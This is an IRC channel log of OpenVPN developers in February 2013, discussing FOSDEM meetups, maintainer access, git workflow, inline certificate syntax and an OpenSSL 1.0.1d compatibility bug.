09:06 <@mattock_> same as I 09:06 <@cron2> mattock: oh, you're not in the NH Arenburg, then? 09:06 <@cron2> (well, obviously :) ) 09:07 <@cron2> so d12fk, andj, dazo and I here, mattock and james in the sofitel, plaisthos at the other NH, right? 09:07 <@cron2> anyway, gare central is round the corner from here 09:10 <@cron2> just need to be careful to go to gare central *metro* main exit, then, not gare central *train* station 09:10 <@mattock_> "Sofitel Bruessels Europe: the Sofitel Luxury Hotel that's more inconveniently located than the other one" 09:11 <@mattock_> i.e. I assumed I had booked the "other one" :) 09:16 <@plaisthos> mattock_: I think we agreed that booking hotels in Brussels is strange 09:18 <@cron2> indee 09:18 <@cron2> d 09:31 <@mattock_> yeah 09:32 <@mattock_> and even if booking goes fine, the hotel might be strange 09:48 <@cron2> mattock: what's you mobile # in case we can't find you at the metro? 09:54 <@mattock_> cron2: I'll mail it 09:55 <@mattock_> sent 09:59 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 10:06 * cron2 is not acking a fosdem-patch from d12fk! 11:19 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 11:28 <@d12fk> mattock: i'm here at the hotel. are you in town yet? 11:35 <@d12fk> oh got your sms 11:38 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:35 <@cron2> *burp* 14:02 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 260 seconds] 17:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:08 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:08 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 18:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:28 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] --- Day changed Sat Feb 02 2013 01:29 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 01:29 <@d12fk> * cron2 [17:06:27] is not acking a fosdem-patch from d12fk! 01:30 <@d12fk> ^^ go ahead cron2, it practically an "on the way to fosdem" patch =) 03:06 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:06 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:18 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 04:01 <@cron2> mornin' folks :-) - in the hacker room in AW building now 04:05 -!- dazo_afk is now known as dazo 04:12 <@plaisthos> cron2: You are still there? 04:12 <@plaisthos> cron2: then I would try to come the AW building 04:12 <@d12fk> yes we're all here 04:13 <@plaisthos> okay 04:13 <@plaisthos> on my way 04:14 <@d12fk> when you come in turn left, think it's the second door 04:32 <@cron2> mattock just smsed he'll be here in ~30 minutes 05:28 <@mattock> hi all 05:29 <@mattock> battery was half empty, had to isolate myself into a corner :D 05:29 <@mattock> I'll take a look at the NSI bugs we have 05:30 <@cron2> mattock: +1 :) (and next year we bring power strips) 05:30 <@mattock> yes, definitely 05:35 <@vpnHelper> RSS Update - testtrac: close more file descriptors on exec <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=09ee4192b1d16bbd7c3c138cc2d46760a11797bf> 05:36 <@mattock> cron2: what's are your GitHub/SF.net account names? 05:36 <@cron2> uh 05:36 <@cron2> how do I know? 05:36 <@mattock> check your credentials list? :P 05:36 <@cron2> I think I do not have a GitHub account yet, but I might have sf, let me search 05:36 <@mattock> ok 05:42 <@cron2> mattock: github is "cron2" 05:45 <@mattock> ok 05:46 <@mattock> cron2: full github access to openvpn subproject granted 05:46 <@mattock> anything else you need @github? 05:46 <@cron2> I don't think so (right now) 05:46 <@mattock> oki 05:58 <@cron2> mattock: sf account is cron2, surprise :-) 06:02 <@mattock> announcement draft: http://pastebin.com/BLMBRwKC 06:02 <@mattock> cron2: adding you to admins 06:03 <@cron2> yay 06:03 <@mattock> you should have git write access to both sf.net and github now 06:05 <@dazo> mattock: my minor adjustments ... http://pastebin.com/GDLBRViz (cron2) 06:11 <@mattock> dazo: I deem that good enough :) 06:11 <@mattock> pushing to openvpn-devel 06:11 <@dazo> :) 06:12 <@mattock> Subject: "Gert Döring now the co-maintainer with David Sommerseth"? 06:15 <@cron2> yay, utf8 :) 06:46 -!- dazo is now known as dazo_afk 08:22 -!- mattock is now known as mattock_afk 09:00 <@cron2> another question to the group... under which conditions would be willing to do another 2.2 release? 09:07 -!- mattock_afk is now known as mattock 09:17 -!- mattock is now known as mattock_afk 09:27 -!- mattock_afk is now known as mattock 10:04 -!- mattock is now known as mattock_afk 10:34 -!- dazo_afk is now known as dazo 10:34 <@dazo> cron2: bug or security fixes, is what I'd say ... no new or modified features, that is 10:34 -!- novaflash is now known as novaflash_away 10:35 <@dazo> (unless that's needed to sort out a bug/security issue) 10:49 -!- novaflash_away is now known as novaflash 10:59 -!- dazo is now known as dazo_afk 17:55 -!- mattock_afk is now known as mattock 18:04 -!- mattock is now known as mattock_afk 18:14 -!- mattock_afk is now known as mattock 18:36 -!- mattock is now known as mattock_afk --- Day changed Sun Feb 03 2013 00:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 01:05 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 02:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:34 <@d12fk> ladies and gentlemen, i present to you the magnificent jaque brell: https://www.youtube.com/watch?v=Kdhpz4rwP7E 02:34 <@vpnHelper> Title: Jaque Brell, ne me quite pas - YouTube (at www.youtube.com) 02:36 <@d12fk> the one on the walls of the restaurant from yesterday 03:11 <@cron2> mornin' 03:12 <@cron2> dazo: security fixes, of course. Bugs (like trac #172) - do we? will cherrypicking master or 2.3 -> 2.2 work with the changed layoujt? 04:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:13 <@mattock> do we have the FOSDEM room we had yesterday? 04:14 <@mattock> james is tuning his openvpn talk and we'd arrive at 13:00. 04:20 <@plaisthos> mattock: yes 04:24 <@mattock> excellent! 04:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 04:57 <@vpnHelper> RSS Update - testtrac: Update README.IPv6 to match what is in 2.3.0 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c2f4c1918202f4395438663804b0806c93790501> 05:18 -!- dazo_afk is now known as dazo 05:19 <@dazo> plaisthos: (setq-default indent-tabs-mode nil) 05:19 <@dazo> plaisthos: (setq-default tab-width 2) 05:19 <@dazo> plaisthos: (setq 05:19 <@dazo> c-mode-hook '(lambda () 05:19 <@dazo> (auto-fill-mode 0))) 06:09 <@vpnHelper> RSS Update - testtrac: Remove dead code path and putenv functionality <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=4d0fb44754d91504b84092eb2197bc635740d540> 06:19 -!- mattock_afk is now known as mattock 06:41 <@cron2> mattock: have you ever send the "new maintainer" mail? Haven't seen it yet... 06:42 <@mattock> nope, I'll send it now 06:42 <@cron2> please :-) - I assumed it was there and have already pushed a few commits :-) 06:42 <@mattock> dopne 06:42 <@mattock> done 06:49 <@cron2> dazo: is there a way to force git cherry-pick to *always* use "-x"? 06:50 <@dazo> cron2: I'm using git aliases .... git alias alias.cp "cherry-pick -x" ... I believe 06:50 <@dazo> then I just do: git cp <commitish> 06:50 <@vpnHelper> RSS Update - testtrac: man page patch for missing options <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d94873f6cc2c24e29964e4483b0bc02653860deb> 06:51 <@cron2> boy is vpn-helper fast, I wasn't completely done with the pushing yet 06:52 <@dazo> I think it's a vpnHelper uses a timer .. 06:52 -!- mattock_ [mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:52 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:52 <@dazo> (poll timer) 06:53 <@cron2> buildbot triggering also works :-) 06:54 <@dazo> :) 06:58 -!- mattock is now known as mattock_afk 07:09 <@mattock_> cron2: of course :) 07:37 <@vpnHelper> RSS Update - testtrac: Enable TCP_NODELAY configuration on FreeBSD. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3e86f688757529f8b33f9e6b49e31ba8d8564c5e> 07:48 <@cron2> dazo: how do you handle UTF8 characters in git commit? 07:48 <@cron2> Author: Samuli Seppänen <samuli@openvpn.net> 07:48 <@cron2> (git ack-am'ed mattock's doc patches) 07:48 <@dazo> cron2: I don't care about them ... just push them .... internally all is UTF-8, iirc 07:49 <@cron2> ok 07:58 <@cron2> dazo: your in-reply-to headers in git-ack-am are borked 07:58 <@cron2> they should have <> around the message-id but do not 07:58 <@dazo> I noticed ... ;-) 07:58 <@cron2> do tell me if you notice that :-) *bevor* I send out 10 mails with broken headers 07:58 <@cron2> before, even :) 07:58 <@cron2> do you have a new version? 07:59 <@d12fk> cron2: could you set the in-reply-to headers in your applied mails 07:59 <@d12fk> would make it easier to follow 07:59 <@dazo> cron2: http://fpaste.org/WwE5/ ... some fix ups here 07:59 <@cron2> d12fk: those mails are pre-generated by a script, and I did not validate the format 07:59 <@cron2> that's *exactly* what I'm complaining about right now :_) 07:59 <@dazo> I hacked together that script yesterday 07:59 <@d12fk> +1 complainant =) 07:59 <@cron2> the in-reply-to is there, just the format is not right 08:01 <@cron2> yay, stderr .) 08:01 <@vpnHelper> RSS Update - testtrac: Cleaned up and updated INSTALL <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=607a678d371c56d368319b0a7a1bb147008d5822> || Updated README <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=7e0d16a9d6b9a972e5449d9d588545fdbd4ec46c> || Added cross-compilation information INSTALL-win32.txt <http://openvpn.git.sourceforge 08:13 -!- mattock_afk is now known as mattock 08:46 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Remote host closed the connection] 08:47 -!- mattock is now known as mattock_afk 08:57 -!- mattock_ [mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 09:05 -!- mattock_afk is now known as mattock 09:14 -!- mattock is now known as mattock_afk 09:40 <@ecrist> you kids are busy 09:41 <@cron2> we're having fun :) 09:44 <@dazo> ecrist: cron2 got elevated powers ... he's flying high now! 09:44 <@ecrist> ooh 09:44 <@ecrist> mattock - do you have doc changes for easy-rsa? 09:45 <@dazo> ecrist: mattock isn't paying attention to his laptop now 09:45 <@ecrist> still drinking? 09:45 <@ecrist> or passed out? :) 09:45 <@cron2> listening to james on 3.0 09:49 * cron2 hates alon for 2 minutes 09:49 <@cron2> configure: error: libpam required but missing 09:52 <@d12fk> cron2: just disable the plugin 09:53 <@cron2> yeah, but it could just auto-not-build the plugin, instead of getting on my nerves 09:53 <@cron2> (and we've been there on the mailing list) 09:53 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 09:54 <@d12fk> heh, your 2 minutes are over =P 09:54 * cron2 is now hating d12fk for a moment 09:54 <@d12fk> lol 09:54 <@cron2> 2013-02-03 16:54:27+0100 [-] OVPN 1 ERR: 'Options error: Unrecognized option or missing parameter(s) in stdin:36: no-name-remapping (2.3_master)' 09:55 <@d12fk> yeah, thats what we were talking about last night 09:55 <@d12fk> there more option that were removed 09:55 <@cron2> (trying to make OpenVPN AS work with a 2.3 backend...) 09:55 <@d12fk> auto-proxy comes to minds 09:55 <@cron2> the server is not using that :) 10:08 -!- dazo is now known as dazo_afk 13:03 <@plaisthos> Yikes. All implementation in hpp files 13:12 * cron2 does not speak C++ and is not looking 13:13 <@plaisthos> cron2: like using almost only .h files in a c project 13:14 <@cron2> that must be part of the magic to get C++ compilers to make things fast again... 13:14 * plaisthos disagrees 13:16 * cron2 wouldn't know and is just making nasty remarks 13:16 <@plaisthos> cron2: :) 13:16 <@plaisthos> cron2: already on your train back? 13:16 <@cron2> plane, train is just too cumbersome from here to munich 13:17 <@plaisthos> ah okay 13:17 <@plaisthos> you have Internet on the plane? 13:17 <@plaisthos> for free? 13:17 <@plaisthos> or just waiting for the plane 13:17 <@cron2> sitting at the gate, just met mattock :-) (same gate, 1 hour earlier flight)... 13:17 <@plaisthos> :) 13:18 <@plaisthos> since it is raining heavely, no FOSDEM sunday evening events I figured I could go to bed early 13:18 <@plaisthos> and now I am taking a look at the code 13:18 <@cron2> to boldly go where no man has gone before? :-) 13:19 <@plaisthos> the api of the of OpenVPNClient seems good 13:20 <@plaisthos> at the moment I trying to figure how much effort it would to support OpenVPN3 as alternative backend for my client 13:20 * cron2 raises an eyebrow... O_o 13:22 <@plaisthos> The external interface of ovpn3 is pretty similar to the interface of my openvpn23 wrapper 13:23 <@cron2> interesting, so your client would effectively become lots simpler then 14:16 -!- novaflash is now known as novaflash_away 14:19 -!- novaflash_away is now known as novaflash 16:09 <@cron2> *yawn* - landed in munich, now just another hour to get home... 16:09 * cron2 proposes to do an OpenVPN hackfest in Munich next time, and will sponsor conference rooms and finger food lunch ("about the same price as going to brussels for a weekend") 19:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Feb 04 2013 00:02 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 00:04 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 02:36 -!- mattock_afk is now known as mattock 02:37 <@mattock> greetings from Finland (i.e. still in one piece) 02:38 <@cron2> greetings :-) 04:18 <@cron2> ecrist: what is the way to get something new into BSD ports? 04:18 * cron2 has a perl module which is tremendously useful (Net::NTP) which for some reason is just not in there... 05:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:52 <@ecrist> cron2: just create a new port, create a shell archive of the port directory, and submit it as a PR 06:52 <@ecrist> using send-pr 06:52 <@ecrist> make sure you specify the category (dir under ports/) 06:53 <@cron2> mmmh, does not sound *that* complicated :) 06:54 <@ecrist> make sure you've run the port through portlink, and your plist is accurate 06:55 <@ecrist> portlint* 07:07 <@ecrist> another good test, if you don't have a tinderbox, is make package install && make deinstall 07:08 <@ecrist> resolve any warnings/errors 07:35 <@cron2> yep, did that, found a bug with the plist already :) 07:49 -!- dazo_afk is now known as dazo 08:20 <@ecrist> don't forget your checksums, either 08:20 <@ecrist> make makesum 09:54 -!- mattock is now known as mattock_afk 10:19 <@andj> The polarssl and gnutls advisories were released! 10:20 <@andj> OpenSSL remains silent for now 10:55 -!- mattock_afk is now known as mattock 11:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:11 <@cron2> andj: did you manage to discuss the patches with James? 13:29 <@dazo> if not ... then we should have a irc meeting with james asap .... 14:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 16:18 -!- dazo is now known as dazo_afk 17:39 <@plaisthos> cron2: maybe. But I don't see the configuration as immutable. So all the parts that deal with configuration parsing/changing options would stay in the gui anyway 17:41 <@plaisthos> And lot of the other GUI is actually the GUI and/or android specific part 17:42 <@plaisthos> the changes required two support both openvpn engines will probably be small. --- Day changed Tue Feb 05 2013 02:15 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 264 seconds] 04:05 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 255 seconds] 04:05 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 04:24 <@plaisthos> oo 04:24 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:24 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:24 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:59 -!- dazo_afk is now known as dazo 08:55 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:39 <@dazo> Now this is what I call an interesting move .... http://www.infoworld.com/d/application-development/microsoft-embraces-open-source-git-development-tools-211888 12:39 <@vpnHelper> Title: Microsoft embraces open-source Git for development tools | Application Development - InfoWorld (at www.infoworld.com) 15:34 -!- dazo is now known as dazo_afk 21:04 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 256 seconds] 21:05 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:05 -!- mode/#openvpn-devel [+o andj__] by ChanServ 21:05 -!- andj__ is now known as andj 23:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Feb 06 2013 01:27 <+krzee> does openvpn connect have a problem with inline certs? 01:27 <+krzee> i followed this: 01:27 <+krzee> !inline 01:27 <+krzee> !ping 01:27 <@vpnHelper> pong 01:27 <+krzee> http://www.packtpub.com/article/new-features-of-openvpn-2-1-and-2-2 01:27 <@vpnHelper> Title: New Features of OpenVPN 2.1 and 2.2 | Packt Publishing (at www.packtpub.com) 01:28 <+krzee> im trying to import via mail since these ios devices dont sync to computers, figure i must use inline 01:28 <+krzee> but it says it cant find the file [inline] 01:37 <+krzee> nor can i send all the files as attachment and then click the .ovpn 01:43 <@mattock> I think there was an issue with inline certificates in 2.2 at some point 01:43 <@mattock> but afaik openvpn connect has never used 2.2 for anything 01:47 <+krzee> im trying inline without [inline] and using key-direction 01:47 <+krzee> will report if i get anything rockin 01:48 <+krzee> it imported! hopefully it'll work, gotta adjust 2 routers before testing 01:54 <@mattock> uh, something has changed in Chrome recently, now everybody is complaining about the "CAPTCHA not working on Pwm". I need to fix that a.s.a.p. 01:54 <@mattock> I mean, the security settings are now more strict 01:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:07 -!- mattock is now known as mattock_afk 02:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:25 <@cron2> krzee: inline is just "<ca>...</ca>", "<cert>...</cert>", and so on. 02:25 <+krzee> thanks, did that change or was jjk mistaken in his book? 02:25 <@cron2> no idea 02:43 <@cron2> the whole inline stuff wasn't really documented before plaisthos discovered it and documented it for 2.3 :-) 02:51 -!- mattock_afk is now known as mattock 02:53 <@mattock> yeah, the inline stuff was just used for client configuration files in Access Server 04:08 <+krzee> its all working now, thanks guys =] 04:08 <+krzee> ill shoot jjk an email letting him know 04:12 <@mattock> it would seem the CAPTCHA issue is now fixed 04:15 <+krzee> using these idevices is such a nice reminder of how nice android is 04:15 <+krzee> that was quick mattock! 04:15 <@cron2> krzee: well, otoh android annoys all the time by asking "DO YOU REALLY TRUST OPENVPN??!!" 04:17 <+krzee> i dont use the ics version normallu 04:17 <+krzee> i install it for others normally, but not for myself 04:17 <+krzee> i use the old root-only version 04:17 <+krzee> with no gui, just running in the background 04:19 <+krzee> so i get 0 interaction, it just works 04:19 <+krzee> (i use scripts, need the root version) 04:21 <+krzee> the next openvpn-settings for android will have its own openvpn binary and busybox, so openvpn-installer will be going away (i got a recent email from fries telling me that) 04:56 -!- dazo_afk is now known as dazo 05:22 <@plaisthos> krzee: the first line with [inline] is really bogus. Since the later <ca> </ca> will override it the client will ignore it 05:30 <@plaisthos> and instead of tls-auth whatever 1 use key-direction :) 05:30 <@dazo> you need the [inline] stuff if you use "tls-auth [inline] 0/1 05:30 <@dazo> ahh ... didn't know about key-direction 05:31 <@dazo> hmmm .... doesn't key-direction hit the --secret feature ... on p2p setups with static keys? 05:32 * plaisthos looks up --secret 05:33 <@plaisthos> key-direction chooses the direction for both options 05:34 <@cron2> there's also "key-direction bidirectional" 05:34 <@cron2> just sayin' 05:34 * cron2 wins by cheating (James told me, but I have immediately forgot what it does) 05:34 * plaisthos looks in the source 05:36 <@plaisthos> in 2.x to specify bidirectional key-direction you have to leave the paramter empty 05:36 <@plaisthos> (or not use the option at all) 05:38 <@cron2> yeah, but I still don't understand it 05:41 <@plaisthos> the documentiation of --secret has good description of it 05:41 <@plaisthos> basically bidrectional both sides use the same key and otherwise both side use differtent keys 05:42 <@dazo> cron2: the --secret files (which also --tls-auth can use) contains enough keying material for two keys + separate key pairs for HMAC auth 05:43 <@dazo> cron2: so with the key direction, the client uses one key communicating with the server, the server can use the other key responding to the client 05:44 <@dazo> cron2: and as these static keys are static and the same on both sides ... when the client knows "I use key-direction 0, the server uses key-direction 1" ... and vice-versa 05:53 <@cron2> dazo: that's the easy bit, I just didn't understand bidirectional 05:53 <@cron2> anyway, thanks, now I know :-) 05:53 <@dazo> :) 05:55 <@plaisthos> let's try something: 06:00 <@plaisthos> !learn inline is supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) 06:00 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value. 06:00 * cron2 gives plaisthos an "as" 06:00 <@plaisthos> !learn inline as Inline files supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) 06:00 <@vpnHelper> Joo got it. 06:01 <@plaisthos> I am surprised that the feature is that old 06:04 <@plaisthos> and undocumented but since OpenVPN will internally add an argument [[INLINE]] as first argument when encountering <foo> syntax pkcs12 [[INLINE]] base64data will also work :) 06:05 <@plaisthos> !forget inline 06:05 <@vpnHelper> Joo got it. 06:06 <@plaisthos> !learn inline as Inline files supported since OpenVPN 2.1rc1 (pkcs12 since 2.2) and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) 06:06 <@vpnHelper> Joo got it. 07:18 <@cron2> do I want to trust VPN software made by a company named "chungwasoft"? 07:26 <@mattock> better that than "Trustworthy Software, Inc." 07:30 * dazo so want to start a new company: NoTrust 07:30 <@dazo> "Let NoTrust make your network safe" 07:31 <@plaisthos> cron2: by $random_guy 07:31 <@plaisthos> :) 07:38 <@cron2> mattock: now why does that remind me of Honest Achmed CA? 07:43 <@plaisthos> cron2: perhaps it is a new branch of one of Achmed's uncles 07:51 <@mattock> hahaha 07:55 <@dazo> FoxNews: "Though there is little mathematical value to finding a single new prime, these rare numbers are prized in their own right by some. " .... http://www.foxnews.com/science/2013/02/05/worlds-largest-prime-number-discovered/ 07:55 <@vpnHelper> Title: World’s largest prime number discovered -- all 17 million digits | Fox News (at www.foxnews.com) 07:58 <@dazo> Great comment from a colleague: if you start pointing each time Fox expose superb ignorance, this may turn out as a full time job >:-> 08:29 <@plaisthos> If diamonds are a girl's best friend, prime numbers are a mathematician's. 08:29 <@plaisthos> Read more: http://www.foxnews.com/science/2013/02/05/worlds-largest-prime-number-discovered/#ixzz2K858DG4d 08:29 <@vpnHelper> Title: World’s largest prime number discovered -- all 17 million digits | Fox News (at www.foxnews.com) 08:29 <@plaisthos> (wtf did the site with my copy & paste) 09:11 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 09:11 < djc> hi guys, are you aware of openvpn-2.3.0 being incompatible with openssl-1.0.1d yet? 09:11 <@dazo> djc: uhm ... nope ... what's happening? 09:12 < djc> https://bugs.gentoo.org/show_bug.cgi?id=455810 09:12 <@vpnHelper> Title: Bug 455810 net-misc/openvpn-2-3-0 with dev-libs/openssl-1.0.1d - openvpn: Assertion failed at ssl.c:1857 (at bugs.gentoo.org) 09:14 <@dazo> djc: would be good to see the config or a --verb 5 log without --mute 09:14 <@dazo> ahh ... 1.0.1d is the one fixing CVE-2013-0169 ... so something got screwed up there 09:15 * dazo wonders if 1.0.0k will also break 09:16 <@dazo> (or 0.9.8y) 09:16 < djc> yeah 09:17 < djc> I can ask for the non-mute log 09:17 <@dazo> that'd be great! 09:17 * dazo runs out for some food 11:16 <+krzee> plaisthos, openvpn connect for ios will not ignore it, file [inline] cant be found, import failure 11:16 <+krzee> but thats closed source, so bleh 11:38 <@plaisthos> krzee: the openvpn3 core probably has a slightly different parser 11:38 <@plaisthos> but the core will open source soon 11:39 <@plaisthos> James/OpenVPN Corp Inc first want to have the contributer agreement ready 11:39 <@plaisthos> Technically the ca [inline] was never valid. Only the way the parser in 2.3 is structed made this work 11:40 <@plaisthos> you can put anything in place of [inline] 11:40 <@plaisthos> like WEHAVEFUN! 11:40 <@plaisthos> and it will behave exactly the same 11:40 <@plaisthos> :) 11:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 11:43 <@cron2> actually I think James just made it open source last Sunday 11:43 <@cron2> "the page" said "AGPL" and had a link to the source tarball 12:46 <@cron2> dazo: any reason not to ACK d12fk-utf8-v3? 12:46 <@dazo> cron2: oh ... I think that has missed my radar .... 12:46 * dazo looks 12:46 <@dazo> hehe ... it's a whitespace issue there :-P 12:47 <@dazo> nah, correcting that at commit ... that's fine :) 12:47 <@dazo> shall I pull it in? 12:58 <@cron2> dazo: however you want :-) - otherwise I'll do it 12:58 <@cron2> don't forget to pull first :))) 12:58 <@dazo> hehe ;-) 12:58 <@dazo> I'll do it 13:00 <@dazo> oh ... my apologies ... d12fk's formatting was correct ... it's the lines he doesn't touch which have different spacing (tab instead of space) 13:00 <@cron2> haha 13:01 <@dazo> uhm ... okay, another line was wrong :-p 13:01 <@dazo> (the last if() statement being modified) 13:08 <@dazo> hmmm .... probably need a git-fetch-all script too .... 13:10 <@vpnHelper> RSS Update - testtrac: Ignore UTF-8 byte order mark <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6e6f55f4ba5deda5649679a13e4e323e07b3e661> 13:33 <@cron2> dazo: you need to teach your scripts better :-) 13:34 <@dazo> hehe 13:34 <@cron2> so what do I do now? "git pull testing" and then "git rebase" both my master and release/2.3 branches? 13:35 <@cron2> uh, git fetch, not pull 13:36 <@dazo> for repo on stable testing github; do git fetch $repo ; for branch in master release/2.3; do git checkout $branch ; git rebase $repo/$branch; done ; done 13:36 <@dazo> yeah, basically 13:37 <@dazo> cron2: you can use: git pull --rebase .... but I've never dared that one :) 13:38 <@cron2> Fast-forwarded release/2.3 to stable/release/2.3. 13:38 <@cron2> looks good 13:38 <@dazo> absolutely :) 13:38 <@cron2> Signed-off-by: David Sommerseth <davids@redhat.com> 13:38 <@cron2> (cherry picked from commit 6e6f55f4ba5deda5649679a13e4e323e07b3e661) 13:38 <@cron2> yay 13:38 * dazo see that cron2's git-fu have increased considerably lately :) 13:38 * cron2 likes git but it still scares me 13:39 <@dazo> :) 13:39 <@dazo> I find comfort in that 'git push' is the most dangerous one 13:39 <@cron2> I think that's how unix feels to windows users... "it's way powerful but where are the safety guards"? 13:39 <@dazo> the other commands can be undone easily :) 13:39 <@dazo> (well, if not careful with the undo, you might loose something) 13:40 <@cron2> yeah, this is a good safety-net indeed 13:41 <@cron2> *sigh* 13:41 <@cron2> I'd love to do some OpenVPn work tonight, but there's a paying customer who has been waiting for a few days now... 13:41 <@dazo> :( 13:42 <@dazo> I've been reading about OpenSSL lately ... and am now considering to write something similar to easy-rsa in C ... just to learn the details ... but lacking time right now :/ 14:14 <@cron2> I'd tend to ignore the buildbot failure, I think it collided with another automatic rest running at right this time (21:00) on the freebsd 7.4 host 14:35 -!- dazo is now known as dazo_afk 14:44 -!- novaflash is now known as novaflash_away 14:46 -!- novaflash_away is now known as novaflash 14:53 <@plaisthos> *sigh* I always manage to sneak some bugs into my releases 14:54 <@plaisthos> So release cycle is like an update and three days another update 14:54 <@plaisthos> and then wait for month and repeat 15:34 <@cron2> plaisthos: but you get extremely good testing that way :-) 15:38 <@cron2> .oO(still no word from andj on james and the polarssl patches, meh) 15:39 <@cron2> meeting tomorrow, then? 15:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:40 <+krzee> https://community.openvpn.net/openvpn/wiki/IOSinline 15:40 <@vpnHelper> Title: IOSinline – OpenVPN Community (at community.openvpn.net) 15:41 <+krzee> new writeup after my success with IOS and in-line certs 16:19 <@plaisthos> krzee: Have you read the inline section in OpenVPN 2.3 man page? 16:20 <+krzee> no but i will now, i need to take a good look at 2.3 manual, so much new stuff in there 16:21 <+krzee> i did just make a writeup on it though, after getting it working last night 16:21 <@plaisthos> krzee: if there is something missing in there tell me or prepare a patch yourself 16:21 <+krzee> will do, thanks 16:21 <+krzee> and thanks for documenting it 16:21 <@plaisthos> np 16:22 <@plaisthos> Basically I did it because my client also is heavily using it 16:22 <@plaisthos> and I figured most of the stuff out by reading source (esp. the pkcs12 base64 stuff) 16:22 <@plaisthos> And I don't think normal users will go into source code for that :) 16:23 <+krzee> i agree, only time i read through source for understanding was iroute before i wrote !route 16:23 